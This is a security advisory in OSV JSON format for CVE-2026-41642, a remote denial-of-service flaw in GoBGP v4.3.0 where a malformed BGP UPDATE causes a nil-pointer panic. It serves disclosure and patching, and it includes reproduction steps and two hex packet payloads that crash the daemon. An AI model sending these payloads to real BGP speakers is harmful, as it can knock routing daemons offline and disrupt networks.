CVE-2026-41642: Github.com/osrg/gobgp/v4 Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7235-89m6-f4px",
  "modified" : "2026-05-08T20:42:26Z",
  "published" : "2026-04-29T20:43:36Z",
  "aliases" : [ "CVE-2026-41642" ],
  "summary" : "GoBGP has Remote Denial of Service (Panic) via Malformed Well-known Path Attribute",
  "details" : "### Summary\nA remote Denial of Service (DoS) vulnerability exists in GoBGP due to a nil pointer dereference. When a malformed BGP UPDATE message contains an unrecognized Path Attribute marked as \"Well-known,\" the daemon fails to interrupt the message handling flow. This results in an illegal memory access and a full process crash (panic).\n\n### Details\nThe vulnerability is located in the Finite State Machine (FSM) message handling loop in pkg/server/fsm.go.\nAccording to RFC 4271, any Path Attribute with the Optional bit set to 0 is treated as \"Well-known.\" If the Type Code is unrecognized, the BGP speaker MUST send a NOTIFICATION message.\n\nIn GoBGP v4.3.0, when such an attribute (e.g., Type 0xEE or 0xFF with flags 0x40) is received, the parsing layer identifies the error. However, the logic in recvMessageloop (around Line 1826) does not properly halt execution. It proceeds to reference the body of the parsed message. Because the message was deemed invalid during the initial attribute check, the body pointer is nil, leading to:\npanic: runtime error: invalid memory address or nil pointer dereference.\n\nThis bypasses the intended error-handling mechanism and causes the entire BGP daemon to terminate, rather than just closing the affected session.\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0xc225e4]\n\ngoroutine 50 [running]:\ngithub.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x19f29bca92c0, {0x10069f0, 0x19f29bc48780}, {0x1014658, 0x19f29bc2a890}, 0x19f29baa0540, 0x19f29bc393b0, 0x19f29bc96cc0?)\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1826 +0xa44\ncreated by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1916 +0x2d5\nexit status 2\n\n```\n\n### PoC\nGoBGP Version: v4.3.0\nConfigure GoBGP with a neighbor (e.g., 192.168.31.195) in passive mode.\nEstablish a standard BGP session (OPEN/KEEPALIVE exchange).\nSend a specifically crafted UPDATE packet containing an unrecognized Type Code marked as \"Well-known\" (Optional bit = 0).\nPayload 1 (Hex):\n```\nFF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF\n00 17                # Length: 23\n02                   # Type: UPDATE\n00 00                # Withdrawn Routes Length: 0\n00 04                # Total Path Attribute Length: 4     \n40 EE 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0\n```\nPayload 2 (Hex):\n```\nFF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF\n00 17                # Length: 23\n02                   # Type: UPDATE\n00 00                # Withdrawn Routes Length: 0\n00 04                # Total Path Attribute Length: 4     \n40 01 01 00          # IGP Attribute\n40 FF 00             # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0\n```\n### Impact\nThis vulnerability affects all GoBGP deployments peering with external or internal speakers. A single malformed UPDATE message from any peer can trigger a nil pointer dereference, causing the GoBGP daemon to panic and crash.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/osrg/gobgp/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.3.0"
      }, {
        "fixed" : "4.4.0"
      } ]
    } ],
    "versions" : [ "4.3.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/osrg/gobgp/security/advisories/GHSA-7235-89m6-f4px"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41642"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/osrg/gobgp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/osrg/gobgp/releases/tag/v4.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T20:43:36Z",
    "nvd_published_at" : "2026-05-07T12:16:17Z"
  }
}